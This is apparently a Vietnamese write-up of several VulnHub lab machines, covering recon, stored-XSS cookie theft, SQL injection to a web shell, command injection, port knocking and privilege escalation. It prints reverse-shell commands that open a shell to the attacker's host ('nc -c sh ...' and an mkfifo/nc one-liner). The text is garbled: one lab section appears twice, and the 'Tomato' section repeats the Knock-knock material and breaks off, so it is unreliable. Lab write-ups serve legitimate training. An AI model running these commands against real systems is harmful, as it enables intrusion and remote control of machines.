## XSS and MySQL ![image](https://hackmd.io/_uploads/HJI5oJI4Jx.png) Link truy cập và tải [lab](https://www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/) ! ### Discover Khởi chạy lab - vuln machine trên VMware. Vì Lab chạy trên cùng interface mạng với máy Kali (ở đây dùng làm máy tấn công), sử dụng netdiscover để tìm địa chỉ IP của Lab: ![image](https://hackmd.io/_uploads/SJ4upJLE1x.png) Địa chỉ IP của máy Kali: 192.168.68.136/24 ![image](https://hackmd.io/_uploads/HJE9ak8N1e.png) Sử dụng netdiscover, tùy chọn -r (range) chỉ định phạm vi giải địa chỉ tương ứng với máy Kali: ![image](https://hackmd.io/_uploads/H1fT6yUNkx.png) Kết quả ở trên, ta suy ra địa chỉ của máy Lab là 192.168.68.162, các địa chỉ còn lại mặc định là địa chỉ Gateway, máy thật, máy kali. ### Enum Tiếp theo, mình do quét các cổng đang mở của máy lab: ![image](https://hackmd.io/_uploads/rJRgBB8Ekl.png) Kết quả có 2 port đang mở. Việc chỉ định -p-, -T4 để scan trên tất cả các port và tăng tốc độ scan. Chạy thêm 1 lệnh nmap để scan chi tiết trên các cổng đang mở này: ![image](https://hackmd.io/_uploads/HJSwUSI4Jx.png) Tùy chọn -sC để chạy script scan mặc định, -sV để scan version , kết quả port 22 chạy ssh OpenSSH 5.5p1, port 80 chạy web Apache httpd 2.2.16. Mở browser và truy cập 192.168.68.162, port 80 ,ta được giao diện web như sau: ![image](https://hackmd.io/_uploads/S1DeuHUNkx.png) Đây là 1 trang blog đơn giản, dạo qua web một vòng, truy cập các post thì chỉ có tính năng bình luận, truy cập Admin thì sẽ hiện ra form login đăng nhập: ![image](https://hackmd.io/_uploads/HkZw_H8VJl.png) Tạm thời bỏ qua, trước khi test thủ công, ta chạy gobuster để dò tìm các folder, file ẩn trên web: ![image](https://hackmd.io/_uploads/ryItqB84kg.png) ![image](https://hackmd.io/_uploads/ryRi5rINyg.png) Truy cập vào các đường dẫn trên không thu được gì thú vị và có thể khai thác. Sử dụng extension Wappalyzer để xem thông tin trang web: ![image](https://hackmd.io/_uploads/SkGdjS8V1g.png) Ta biết được trang web được viết bằng php, chạy trên máy chủ Apache 2.2.16, hệ điều hành,... Quay lại trang blog, trang có tính năng commment, ta có thể test ngay đến các lổ hổng XSS, SSTI,... Thử ngay với payload test XSS do gợi ý từ tên lab có XSS :> : ![image](https://hackmd.io/_uploads/rk4aur84yl.png) Kết quả, dính XSS stored ở tính năng comment: ![image](https://hackmd.io/_uploads/SJvi3HIN1e.png) Lỗi XSS này, ta nghĩ tới ngay việc khai thác đánh cắp cookie người dùng. Để khai thác XSS này, giả sử admin hoặc người dùng truy cập trang web xem comment, khi đó XSS sẽ điều hướng đến trang C2 do ta kiểm soát. Trước tiên, ta tạo máy C2 để nhận cookie từ người dùng: ### Exploit Ta tạo file index.php: ![image](https://hackmd.io/_uploads/Sy38MUL4Je.png) Sau đó host trên local sử dụng php option -S: ![image](https://hackmd.io/_uploads/ryAhfLLVJl.png) Quay lại trang blog, tạo payload khai thác như sau: ![image](https://hackmd.io/_uploads/S19Z4ILVke.png) Submit comment chứa payload, sau đó, khi admin truy cập đọc comment, ta lấy được cookie như sau: ![image](https://hackmd.io/_uploads/SJQ8DI84ke.png) Update lại cookie của admin, ta truy cập được vào trang admin trên blog: ![image](https://hackmd.io/_uploads/ryscvUUVye.png) Mình đã thử qua các chức năng mới của admin, scan Burpsuite tới chức năng edit post, có vẻ bị dính SQL Injection: ![image](https://hackmd.io/_uploads/SyV4_twEJx.png) Truy cập trang edit một post bất kỳ, thấy có tham số id trên url, mình đã thử inject ký tự ', và kết quả có thông báo lỗi hàm mysql_fetch_assoc(), lỗi truy vấn SQL: ![image](https://hackmd.io/_uploads/rJvrYFvEkx.png) Sử dụng Sqlmap để scan url với tham số id: ![image](https://hackmd.io/_uploads/rJf0aKwVkx.png) Thực hiện dump dữ liệu với option -dump, ngoài các table chứa dữ liệu post, ta còn thu được thông tin đăng nhập của user admin với pass được crack là :"P4ssw0rd". ![image](https://hackmd.io/_uploads/rJhxW9vNJe.png) ![image](https://hackmd.io/_uploads/B1i7Z9wVye.png) ![image](https://hackmd.io/_uploads/SybUZcDVkx.png) Truy cập login , login thành công với user admin với password bên trên. ### RCE to root Sau khi tìm hiểu khai thác sql injection, mình thấy lỗi này có thể khai thác để ghi file vào hệ thống. Mình search trên google nói về [sql-to-shell](https://pentesterlab.com/exercises/from-sqli-to-shell), tận dụng cách trong bài viết này, mình upload shell sử dụng toán tử UNION và hàm "into outfile" có trong Mysql để ghi file. ![image](https://hackmd.io/_uploads/SyL8nRP4yl.png) Dựa vào kết quả các thư mục tìm được từ công cụ Gobuster, sau nhiều lần thử, mình thành công write được vào thư mục /css mà không bị hạn chế về quyền: ![image](https://hackmd.io/_uploads/Hyp0P3w4Jx.png) Truy cập /css để kiểm tra: ![image](https://hackmd.io/_uploads/HJ1hO2DNyg.png) Kết quả , file được up thành công, test thử vài truy vấn đơn giản như ls,whoami để kiểm tra RCE thành công: ![image](https://hackmd.io/_uploads/HkAgF2wNke.png) ![image](https://hackmd.io/_uploads/rycQt3P4kg.png) Sau khi thử vài payload trên revshell, ta thành công với đoạn lệnh sau: `nc -c sh 192.168.68.136 4444` ![image](https://hackmd.io/_uploads/ry_xHaPVyl.png) ![image](https://hackmd.io/_uploads/B1yfSavEkx.png) Tuy nhiên, người dùng www-data này không có quyền root. Thử đọc file /etc/passwd: ![image](https://hackmd.io/_uploads/HkSHyAPEyg.png) Thấy ngoài root, ta còn thấy người dùng user, brute-force "user" với msf sử dụng ssh_login module: ![image](https://hackmd.io/_uploads/rkEw40PEJx.png) Đăng nhập với user:pass vừa tìm được: ![image](https://hackmd.io/_uploads/rJ9NIRwVyl.png) Vậy là mình get root thành công hệ thống! ## Chronos ![image](https://hackmd.io/_uploads/Bkzorp9Ekl.png) Link truy cập và tải [lab](https://www.vulnhub.com/entry/chronos-1,735/) ### Discover Dùng netdiscover scan để tìm máy vuln: ![image](https://hackmd.io/_uploads/By7OLTcE1x.png) Phát hiện thấy IP 192.168.1.11 có tên "PCS Systemtechnik GmbH" rất lạ, dùng nmap scan host này được kết quả như trên. Do mình đang dùng Bridge mode nên scan sẽ có các máy khác trong LAN. Vì máy vuln Chronos mình cài đặt trên VirtualBox (do cài trên máy VMware bị lỗi), nên từ kết quả scan trên, 192.168.1.11 chính là IP của máy vuln Chronos. ### enum Dùng nmap scan port: ![image](https://hackmd.io/_uploads/S12Ku6qE1g.png) Scan sâu hơn 3 port 22,80,8000 xem sao: ![image](https://hackmd.io/_uploads/H1CkKa9Nyg.png) Scan xong ta thấy được chi tiết các service và version trên các port. Truy cập port 80 xem sao: ![image](https://hackmd.io/_uploads/r1lD5pq4ke.png) Dùng gobuster để dò các folder, file trên trang này: ![image](https://hackmd.io/_uploads/r1ZumA54kl.png) Không thu được gì thú vị, xem source trang web, ta thấy có đoạn script: ![image](https://hackmd.io/_uploads/rypWVC5NJl.png) Có vẻ như là một request AJAX đến port 8000 trên máy vuln. Dựa vào nội dung "onreadystatechange", "innerHTML", đoạn script này có vẻ sẽ thay đổi nội dung trang web khi request AJAX thành công , do domain chronos.local chưa được định nghĩa, ta gán IP máy 192.168.1.11 cho domain này trong file host: ![image](https://hackmd.io/_uploads/rk1aEC9E1l.png) Lưu lại file và thử request lại trang web xem có gì thay đổi: ![image](https://hackmd.io/_uploads/SkgXUA5Nyg.png) Có vẻ request thành công và hiển thị thời gian hiện tại trên trang web. Truy cập riêng đoạn url trong đoạn script vừa rồi, truy cập trả về Permission Denied: ![image](https://hackmd.io/_uploads/BkbbpyiV1e.png) ![image](https://hackmd.io/_uploads/rkW_ygo4Jx.png) Thử truy cập riêng chronos.local:8000, không có "Permission Denied" ở đây: ![image](https://hackmd.io/_uploads/rkfWyesEyx.png) Có vẻ request cần thay đổi một chút, do ajax request ta vừa xem ở trên có chứa khá nhiều tham số, xem lại thấy có header User-agent: ![image](https://hackmd.io/_uploads/HyldDlloE1g.png) Vì đoạn code bị obfuscate nên không rõ các đối số được tùy chỉnh như thế nào, bật inspect, vào network và reload lại trang ban đầu để kiểm tra request ajax: ![image](https://hackmd.io/_uploads/ry5V-liEye.png) Request không bị ban, truy cập kiểm tra Header: ![image](https://hackmd.io/_uploads/rJudZgsN1e.png) Như ta thấy, phần header User-agent được đặt thành Chronos. Sử dụng curl (hoặc Burp) custom lại header ta truy cập được vào link mà không bị ban nữa: ![image](https://hackmd.io/_uploads/SkHmQxjVkl.png) Đoạn format=... nhìn có vẻ khá giống với Base64, ném lên CyberChef thì nhận được giải mã là Base58: ![image](https://hackmd.io/_uploads/B1NxEloEke.png) Đoạn Output từ base58 khá giống với các option format từ lệnh date trên linux: ![image](https://hackmd.io/_uploads/rkn1Igs4kg.png) ![image](https://hackmd.io/_uploads/BkwMSes4ye.png) ### RCE Mình nghĩ ngay web này dính lỗi command injection, thử chèn vào đoạn lệnh ls -la rồi encode lại: ![image](https://hackmd.io/_uploads/H1_b5gsVyx.png) ![image](https://hackmd.io/_uploads/HkbecgsEyx.png) Tuyệt vời, web dính command injection, rce ở đây thôi. Sau nhiều lần thử các command reverse shell trên revshells.com. Có đoạn revshell sau là hoạt động: `rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.12 4444 > /tmp/f` ![image](https://hackmd.io/_uploads/SJW7H4oNJx.png) Mã hóa lại bằng Base58, bật nc listener để nhận shell, sau đó gửi request với đoạn Base58 vừa tạo: ![image](https://hackmd.io/_uploads/BybxL4oVJg.png) ![image](https://hackmd.io/_uploads/Hkrx84s41g.png) Kiểm tra thư mục hiện tại, thấy có 4 file cấu thành trang web này: ![image](https://hackmd.io/_uploads/rJc2UEsNke.png) Sau khi kiểm tra, thấy không có gì thú vị có thể khai thác được, dùng pwd thì biết được người dùng đang ở vị trí /opt/chronos, do thư mục /opt thường được sử dụng để cài đặt các app, "cd" ra ngoài thư mục thì phát hiện thêm một thư mục chronos-v2, bên trong chứa folder backend và frontend, và một file index.html ![image](https://hackmd.io/_uploads/Hy9mYVj4Jl.png) Có vẻ thú vị. Kiểm tra backend trước: ![image](https://hackmd.io/_uploads/rk15HSjVyg.png) Ta kiểm tra thì thấy có file express-fileupload 1.1.7. Sau khi search, lib này version này có chứa lỗ hổng dẫn đến RCE: ![image](https://hackmd.io/_uploads/Skk5UBjN1x.png) Vì hiện tại mình đang RCE máy này rồi nên suy nghĩ k biết RCE tiếp để làm gì :> ![image](https://hackmd.io/_uploads/HykyDrjNyl.png) Tuy nhiên, sau khi kiểm tra các tiến trình đang chạy thì thấy chronos-v2 đang được chạy bởi người dùng khác với người dùng chạy chronos mà mình đang RCE: ![image](https://hackmd.io/_uploads/HJpx_SjNyg.png) Thú vị, có lý do để khai thác RCE lib fileupload mà mình tìm thấy bên trên. Dùng lệnh netstat để kiểm tra các kết nối trên hệ thống hiện tại: ![image](https://hackmd.io/_uploads/Hk-s_rsV1g.png) ![image](https://hackmd.io/_uploads/H1Y0dBjNye.png) Ta phát hiện ra ngoài 2 port 22, 8000 từ scan nmap, còn có port 53 Dns, và port 8080. Do đó ta suy luận rằng web chronos-v2 đang chạy trên port 8080. Do chỉ chạy trên địa chỉ local 127.0.0.1 nên ta không thể truy cập từ máy kali được. Dùng curl trên kết nối rce hiện tại, mình xác nhận rằng chronos-v2 đang chạy trên port 8080 ở local: ![image](https://hackmd.io/_uploads/HJdxcrsN1x.png) Tải payload khai thác về và sửa lại thông tin IP máy kali và máy vuln: ![image](https://hackmd.io/_uploads/HJxtaBjEke.png) Lưu file và gửi qua máy vuln bằng python htt.server: ![image](https://hackmd.io/_uploads/H1oM2Bi4kl.png) ![image](https://hackmd.io/_uploads/BkMm3riN1e.png) ![image](https://hackmd.io/_uploads/Byd72HsN1g.png) Chạy file này sau khi bật nc lister máy kali port 8888, ta nhận được shell: ![image](https://hackmd.io/_uploads/HyGZ0SiVJe.png) ### priv to root with sudo perm Tuyệt vời luôn :)) Mình đang ở trong 2 shell RCE 2 người dùng trên một hệ thống :> .Kiểm tra quyền sudo của người dùng imera này xem sao: ![image](https://hackmd.io/_uploads/BywIRBo4kx.png) Khá nguy hiểm, 2 lệnh npm và node được chạy với quyền root mà không cần nhập pass cho lệnh sudo (cái này chắc chủ ý đặt để sudo cho tiện đây mà :>). Lên [gtfobin](https://gtfobins.github.io/) tìm vector khai thác với npm và node: ![image](https://hackmd.io/_uploads/HkEEJIoV1e.png) ![image](https://hackmd.io/_uploads/HJ7qy8j41l.png) Thử cả 2, đều cho ta priv lên người dùng root: + sudo npm: ![image](https://hackmd.io/_uploads/HymSfIsEJe.png) + sudo node: ![image](https://hackmd.io/_uploads/Hy4DzUoVyl.png) Ta giải quyết xong bài lab! ## Knock-knock ![image](https://hackmd.io/_uploads/SkViaehVyg.png) Truy cập và tải lab tại [vulnhub](https://www.vulnhub.com/entry/knock-knock-11,105/) ### Discover Sau khi chạy lab trên VMware, quét netdiscover được kết quả sau: ![image](https://hackmd.io/_uploads/S13BCe2Eke.png) Xác định được địa chỉ của máy vuln là 192.168.68.163. Dò quét tất cả các port bằng nmap với option -p-: ![image](https://hackmd.io/_uploads/SyKj0l3Ekx.png) Kết quả nhận về chỉ có một port được mở duy nhất là 1337. Thử ping đến máy vuln thì bị chặn. Kết nối đến port 1337 sử dụng netcat: ![image](https://hackmd.io/_uploads/HkiGRb3Vyl.png) Kết quả trả về mảng gồm 3 số, chưa rõ các thông tin này để làm gì. Thử netcat trên từng port trên thì bị connect refuse: ![image](https://hackmd.io/_uploads/rJea1z241g.png) Dựa theo tên bài lab là knock, mình search từ khóa "knock security" trên google thì phát hiện được có một cơ chế bảo mật gọi là "Port Knocking" - kỹ thuật để ẩn các port khỏi scan attack. Dựa theo ChatGPT thì định nghĩa kỹ thuật này như sau: > Knock Port là một kỹ thuật bảo mật được sử dụng để ẩn các dịch vụ mạng, giúp tăng cường an ninh cho hệ thống. Kỹ thuật này thường được gọi là port knocking. Mục tiêu chính của knock port là chỉ cho phép truy cập vào một cổng (port) nhất định sau khi một chuỗi các gói tin được gửi đến một hoặc nhiều cổng cụ thể theo một thứ tự nhất định. Thử netcat lại cổng 1337 thì mình nhận ra chuỗi 3 port này được random mỗi lần kết nối tới. Nên kịch bản, mình sẽ là dùng script để nhận về chuỗi 3 port này và thực hiện "knock" từng port một. ![image](https://hackmd.io/_uploads/SJrKeM3EJx.png) Mình có tìm được một đoạn code có thể sử dụng để vượt qua cơ chế này như sau: ```python import socket import itertools import sys destination = "192.168.68.163" def clean_up_ports (raw_string): if len(raw_string) <= 0: return None # Remove the first [ raw_string = raw_string.replace('[','') # Remove the second ] raw_string = raw_string.replace(']','') #split by commas first_list = raw_string.split(',') # start e empty return list ports = [] for port in first_list: # strip the whitespace around the string # and cast to a integer ports.append(int (port.strip())) return ports def main(): print "[+] Getting sequence" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((destination, 1337)) except Exception as e: print "[+] Unable to connect to %s on port 1337. %s" % (destination, e) sys.exit(1) # receive the list raw_list = sock.recv(20) # get the ports in a actual python list ports = clean_up_ports (raw_list) print "[+] Sequence is %s" % ports print "[+] Knocking on the door using all the possible combinations...\n" # Lets knock all of the possible combinations of the ports list for port_list in itertools.permutations (ports): print "[+] Knocking with sequence: %s" % (port_list,) for port in port_list: print "[+] Knocking on port %s:%s" % (destination, port) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.1) sock.connect_ex ((destination, port)) sock.close() print "[+] Finished sequence knock\n" if __name__ =='__main__': print "[+] Knock knock opener" main() print "[+] Done" ``` Giải thích một chút về script thì nó sẽ kết nối tới cổng 1337 sau đó nó sẽ nhận về 3 port mà server trả về như ở hình netcat mình đề cập. Sau đó nó sẽ hoán vị các port này và lần lượt gửi kết nối tới các port. Lưu file , chmod +x và chạy với python: ![image](https://hackmd.io/_uploads/BJPvvz2Eyg.png) Chạy xong knock_port.py, mình thử nmap -p- lại máy vuln thì lại thấy có 2 cổng 22 và 80 đang mở: ![image](https://hackmd.io/_uploads/rkwfJ7241l.png) Thú vị nhất là port 80 http, truy cập để xem có gì thú vị: ![image](https://hackmd.io/_uploads/Ske6-m3NJe.png) Trên là giao diện web trên port 80. Sử dụng gobuster không cho ta kết quả. Xem qua source trang web có một file ảnh duy nhất. Tải file ảnh này về máy kali và phân tích. Sau khi tải file ảnh về. Mình dùng ngay lệnh strings để xem trong file có giấu thứ gì đó khôg: ![image](https://hackmd.io/_uploads/SJsDbPhVJx.png) Lướt xuống cuối, 2 dòng cuối khá mờ ám, dù không giống thông tin đăng nhập cho lắm, dựa theo gợi ý "Login Credentials" thì đây khả năng cao là thông tin đăng nhập ở đâu đó. ![image](https://hackmd.io/_uploads/rkA_ZP241e.png) Do trên web , mình không tìm được trang nào có thể nhập login được, nên suy nghĩ chỉ có thể login qua ssh vì port 22 ssh đang mở. Sau khi login ssh với 2 thông tin trên, kết quả đều faile: ![image](https://hackmd.io/_uploads/ryN-UP3Nyg.png) ![image](https://hackmd.io/_uploads/r1n-8whNJg.png) ### RCE Đem 2 nội dung này lên CyberCheef để tìm xem có giải mã ra chút thông tin nào không. Sau nhiều nỗ lực decode không được, mình có tham khảo writeup thì biết đoạn này bị encode caesar ROT13, sau đó bị đảo ngược =)) ![image](https://hackmd.io/_uploads/BkeAtP3NJg.png) Mình đăng nhập được vào ssh với thông tin login trên: ![image](https://hackmd.io/_uploads/ryWaaD3V1g.png) Mình thử ls thì thấy có tập tin tfc có quyền SUID cho ta quyền thực thi với quyền của người dùng root: ![image](https://hackmd.io/_uploads/H1P3AP2V1e.png) ![image](https://hackmd.io/_uploads/BJxAtV_24yx.png) Do shell hiện tại bị hạn chế, không thể thực hiện chạy file. Check thấy có python nên mình up lên interact shell sử dụng pty.spawn trong python: ![image](https://hackmd.io/_uploads/SkblH_hVJx.png) Chạy file tfc: ![image](https://hackmd.io/_uploads/HyuWHO24yl.png) Đến đây mình chưa hiểu rõ lắm tfc này là gì, để làm gì. ![image](https://hackmd.io/_uploads/rkhydd2Vke.png) Mình chạy lệnh với file input.tfc vừa rồi theo cú pháp yêu cầu: ![image](https://hackmd.io/_uploads/ByGZdOnEkg.png) Có vẻ đây là hàm mã hóa: ![image](https://hackmd.io/_uploads/rkZvOOnVyx.png) Mình thử ngược lại với file output.tfc thì phát hiện hàm tfc không mã hóa mà giải mã thành nội dung ban đầu: ![image](https://hackmd.io/_uploads/ryfPidhVye.png) Lưu lại file này vào máy kali để phân tích: ![image](https://hackmd.io/_uploads/SJR-1K2V1g.png) Mình có thử host http với python nhưng không được. Sử dụng scp để copy file tới máy kali: ![image](https://hackmd.io/_uploads/Sk1bkchN1x.png) Sử dụng trình disassembly cutter , ta xem được hàm main(): ![image](https://hackmd.io/_uploads/H1wTbchNkg.png) Mình thấy hàm main() thực hiện mã hóa input bằng hàm cryptFile(), xem nội dung hàm cryptFile(): ```C do { var_18h = read(fildes, &buf, max_length); if (var_18h < 1) { close(fildes); close(fd); return 1; } xcrypt((int32_t)&buf, (char *)max_length); var_1ch = write(fd, &buf, var_18h); } while (var_1ch == var_18h); return 0; ``` Ở đây, hàm xcrypt được sử dụng để mã hóa nội dung đọc vào biến buf, xem nội dung hàm xcrypt(): ```C undefined4 xcrypt(int32_t buf, char *max_length) { int32_t var_18h; int32_t var_14h; int32_t var_10h; unsigned long var_ch; unsigned long var_8h; var_10h = -0x15e54e61; for (var_8h = 0; var_8h < (uint32_t)max_length >> 2; var_8h = var_8h + 1) { *(uint32_t *)(var_8h * 4 + buf) = *(uint32_t *)(buf + var_8h * 4) ^ var_10h; for (var_ch = 0; var_ch < 8; var_ch = var_ch + 1) { if ((var_10h & 1U) == 0) { var_10h = (uint32_t)var_10h >> 1; } else { var_10h = (uint32_t)var_10h >> 1 ^ 0x6daa1cf4; } } } for (var_8h = 0; var_8h < ((uint32_t)max_length & 3); var_8h = var_8h + 1) { *(uint8_t *)(((uint32_t)max_length & 0xfffffffc) + var_8h + buf) = (uint8_t)var_10h ^ *(uint8_t *)(buf + ((uint32_t)max_length & 0xfffffffc) + var_8h); var_10h = (uint32_t)var_10h >> 8; } return 0; } ``` Đoạn xcrypt() trên được dùng để mã hóa nội dung file nhập vào, khá khó hiểu. Phải mất khá nhiều thời gian tìm hiểu, đọc writeup, mình mới ngẫm được cách khai thác lỗi buffer overflow trong bài. ## XSS and MySQL ![image](https://hackmd.io/_uploads/HJI5oJI4Jx.png) Link truy cập và tải [lab](https://www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/) ! ### Discover Khởi chạy lab - vuln machine trên VMware. Vì Lab chạy trên cùng interface mạng với máy Kali (ở đây dùng làm máy tấn công), sử dụng netdiscover để tìm địa chỉ IP của Lab: ![image](https://hackmd.io/_uploads/SJ4upJLE1x.png) Địa chỉ IP của máy Kali: 192.168.68.136/24 ![image](https://hackmd.io/_uploads/HJE9ak8N1e.png) Sử dụng netdiscover, tùy chọn -r (range) chỉ định phạm vi giải địa chỉ tương ứng với máy Kali: ![image](https://hackmd.io/_uploads/H1fT6yUNkx.png) Kết quả ở trên, ta suy ra địa chỉ của máy Lab là 192.168.68.162, các địa chỉ còn lại mặc định là địa chỉ Gateway, máy thật, máy kali. ### Enum Tiếp theo, mình do quét các cổng đang mở của máy lab: ![image](https://hackmd.io/_uploads/rJRgBB8Ekl.png) Kết quả có 2 port đang mở. Việc chỉ định -p-, -T4 để scan trên tất cả các port và tăng tốc độ scan. Chạy thêm 1 lệnh nmap để scan chi tiết trên các cổng đang mở này: ![image](https://hackmd.io/_uploads/HJSwUSI4Jx.png) Tùy chọn -sC để chạy script scan mặc định, -sV để scan version , kết quả port 22 chạy ssh OpenSSH 5.5p1, port 80 chạy web Apache httpd 2.2.16. Mở browser và truy cập 192.168.68.162, port 80 ,ta được giao diện web như sau: ![image](https://hackmd.io/_uploads/S1DeuHUNkx.png) Đây là 1 trang blog đơn giản, dạo qua web một vòng, truy cập các post thì chỉ có tính năng bình luận, truy cập Admin thì sẽ hiện ra form login đăng nhập: ![image](https://hackmd.io/_uploads/HkZw_H8VJl.png) Tạm thời bỏ qua, trước khi test thủ công, ta chạy gobuster để dò tìm các folder, file ẩn trên web: ![image](https://hackmd.io/_uploads/ryItqB84kg.png) ![image](https://hackmd.io/_uploads/ryRi5rINyg.png) Truy cập vào các đường dẫn trên không thu được gì thú vị và có thể khai thác. Sử dụng extension Wappalyzer để xem thông tin trang web: ![image](https://hackmd.io/_uploads/SkGdjS8V1g.png) Ta biết được trang web được viết bằng php, chạy trên máy chủ Apache 2.2.16, hệ điều hành,... Quay lại trang blog, trang có tính năng commment, ta có thể test ngay đến các lổ hổng XSS, SSTI,... Thử ngay với payload test XSS do gợi ý từ tên lab có XSS :> : ![image](https://hackmd.io/_uploads/rk4aur84yl.png) Kết quả, dính XSS stored ở tính năng comment: ![image](https://hackmd.io/_uploads/SJvi3HIN1e.png) Lỗi XSS này, ta nghĩ tới ngay việc khai thác đánh cắp cookie người dùng. Để khai thác XSS này, giả sử admin hoặc người dùng truy cập trang web xem comment, khi đó XSS sẽ điều hướng đến trang C2 do ta kiểm soát. Trước tiên, ta tạo máy C2 để nhận cookie từ người dùng: ### Exploit Ta tạo file index.php: ![image](https://hackmd.io/_uploads/Sy38MUL4Je.png) Sau đó host trên local sử dụng php option -S: ![image](https://hackmd.io/_uploads/ryAhfLLVJl.png) Quay lại trang blog, tạo payload khai thác như sau: ![image](https://hackmd.io/_uploads/S19Z4ILVke.png) Submit comment chứa payload, sau đó, khi admin truy cập đọc comment, ta lấy được cookie như sau: ![image](https://hackmd.io/_uploads/SJQ8DI84ke.png) Update lại cookie của admin, ta truy cập được vào trang admin trên blog: ![image](https://hackmd.io/_uploads/ryscvUUVye.png) Mình đã thử qua các chức năng mới của admin, scan Burpsuite tới chức năng edit post, có vẻ bị dính SQL Injection: ![image](https://hackmd.io/_uploads/SyV4_twEJx.png) Truy cập trang edit một post bất kỳ, thấy có tham số id trên url, mình đã thử inject ký tự ', và kết quả có thông báo lỗi hàm mysql_fetch_assoc(), lỗi truy vấn SQL: ![image](https://hackmd.io/_uploads/rJvrYFvEkx.png) Sử dụng Sqlmap để scan url với tham số id: ![image](https://hackmd.io/_uploads/rJf0aKwVkx.png) Thực hiện dump dữ liệu với option -dump, ngoài các table chứa dữ liệu post, ta còn thu được thông tin đăng nhập của user admin với pass được crack là :"P4ssw0rd". ![image](https://hackmd.io/_uploads/rJhxW9vNJe.png) ![image](https://hackmd.io/_uploads/B1i7Z9wVye.png) ![image](https://hackmd.io/_uploads/SybUZcDVkx.png) Truy cập login , login thành công với user admin với password bên trên. ### RCE to root Sau khi tìm hiểu khai thác sql injection, mình thấy lỗi này có thể khai thác để ghi file vào hệ thống. Mình search trên google nói về [sql-to-shell](https://pentesterlab.com/exercises/from-sqli-to-shell), tận dụng cách trong bài viết này, mình upload shell sử dụng toán tử UNION và hàm "into outfile" có trong Mysql để ghi file. ![image](https://hackmd.io/_uploads/SyL8nRP4yl.png) Dựa vào kết quả các thư mục tìm được từ công cụ Gobuster, sau nhiều lần thử, mình thành công write được vào thư mục /css mà không bị hạn chế về quyền: ![image](https://hackmd.io/_uploads/Hyp0P3w4Jx.png) Truy cập /css để kiểm tra: ![image](https://hackmd.io/_uploads/HJ1hO2DNyg.png) Kết quả , file được up thành công, test thử vài truy vấn đơn giản như ls,whoami để kiểm tra RCE thành công: ![image](https://hackmd.io/_uploads/HkAgF2wNke.png) ![image](https://hackmd.io/_uploads/rycQt3P4kg.png) Sau khi thử vài payload trên revshell, ta thành công với đoạn lệnh sau: `nc -c sh 192.168.68.136 4444` ![image](https://hackmd.io/_uploads/ry_xHaPVyl.png) ![image](https://hackmd.io/_uploads/B1yfSavEkx.png) Tuy nhiên, người dùng www-data này không có quyền root. Thử đọc file /etc/passwd: ![image](https://hackmd.io/_uploads/HkSHyAPEyg.png) Thấy ngoài root, ta còn thấy người dùng user, brute-force "user" với msf sử dụng ssh_login module: ![image](https://hackmd.io/_uploads/rkEw40PEJx.png) Đăng nhập với user:pass vừa tìm được: ![image](https://hackmd.io/_uploads/rJ9NIRwVyl.png) Vậy là mình get root thành công hệ thống! ## Tomato ![image](https://hackmd.io/_uploads/By2DHKbByg.png) Truy cập và tải lab tại [vulnhub](https://www.vulnhub.com/entry/tomato-1,557/) ### Discover Sau khi chạy lab trên VMware, quét netdiscover được kết quả sau: ![image](https://hackmd.io/_uploads/S13BCe2Eke.png) Xác định được địa chỉ của máy vuln là 192.168.68.163. Dò quét tất cả các port bằng nmap với option -p-: ![image](https://hackmd.io/_uploads/SyKj0l3Ekx.png) Kết quả nhận về chỉ có một port được mở duy nhất là 1337. Thử ping đến máy vuln thì bị chặn. Kết nối đến port 1337 sử dụng netcat: ![image](https://hackmd.io/_uploads/HkiGRb3Vyl.png) Kết quả trả về mảng gồm 3 số, chưa rõ các thông tin này để làm gì. Thử netcat trên từng port trên thì bị connect refuse: ![image](https://hackmd.io/_uploads/rJea1z241g.png) Dựa theo tên bài lab là knock, mình search từ khóa "knock security" trên google thì phát hiện được có một cơ chế bảo mật gọi là "Port Knocking" - kỹ thuật để ẩn các port khỏi scan attack. Dựa theo ChatGPT thì định nghĩa kỹ thuật này như sau: > Knock Port là một kỹ thuật bảo mật được sử dụng để ẩn các dịch vụ mạng, giúp tăng cường an ninh cho hệ thống. Kỹ thuật này thường được gọi là port knocking. Mục tiêu chính của knock port là chỉ cho phép truy cập vào một cổng (port) nhất định sau khi một chuỗi các gói tin được gửi đến một hoặc nhiều cổng cụ thể theo một thứ tự nhất định. Thử netcat lại cổng 1337 thì mình nhận ra chuỗi 3 port này được random mỗi lần kết nối tới. Nên kịch bản, mình sẽ là dùng script để nhận về chuỗi 3 port này và thực hiện "knock" từng port một. ![image](https://hackmd.io/_uploads/SJrKeM3EJx.png) Mình có tìm được một đoạn code có thể sử dụng để vượt qua cơ chế này như sau: ```python import socket import itertools import sys destination = "192.168.68.163" def clean_up_ports (raw_string): if len(raw_string) <= 0: return None # Remove the first [ raw_string = raw_string.replace('[','') # Remove the second ] raw_string = raw_string.replace(']','') #split by commas first_list = raw_string.split(',') # start e empty return list ports = [] for port in first_list: # strip the whitespace around the string # and cast to a integer ports.append(int (port.strip())) return ports def main(): print "[+] Getting sequence" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((destination, 1337)) except Exception as e: print "[+] Unable to connect to %s on port 1337. %s" % (destination, e) sys.exit(1) # receive the list raw_list = sock.recv(20) # get the ports in a actual python list ports = clean_up_ports (raw_list) print "[+] Sequence is %s" % ports print "[+] Knocking on the door using all the possible combinations...\n" # Lets knock all of the possible combinations of the ports list for port_list in itertools.permutations (ports): print "[+] Knocking with sequence: %s" % (port_list,) for port in port_list: print "[+] Knocking on port %s:%s" % (destination, port) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.1) sock.connect_ex ((destination, port)) sock.close() print "[+] Finished sequence knock\n" if __name__ =='__main__': print "[+] Knock knock opener" main() print "[+] Done" ``` Giải thích một chút về script thì nó sẽ kết nối tới cổng 1337 sau đó nó sẽ nhận về 3 port mà server trả về như ở hình netcat mình đề cập. Sau đó nó sẽ hoán vị các port này và lần lượt gửi kết nối tới các port. Lưu file , chmod +x và chạy với python: ![image](https://hackmd.io/_uploads/BJPvvz2Eyg.png) Chạy xong knock_port.py, mình thử nmap -p- lại máy vuln thì lại thấy có 2 cổng 22 và 80 đang mở: ![image](https://hackmd.io/_uploads/rkwfJ7241l.png) Thú vị nhất là port 80 http, truy cập để xem có gì thú vị: 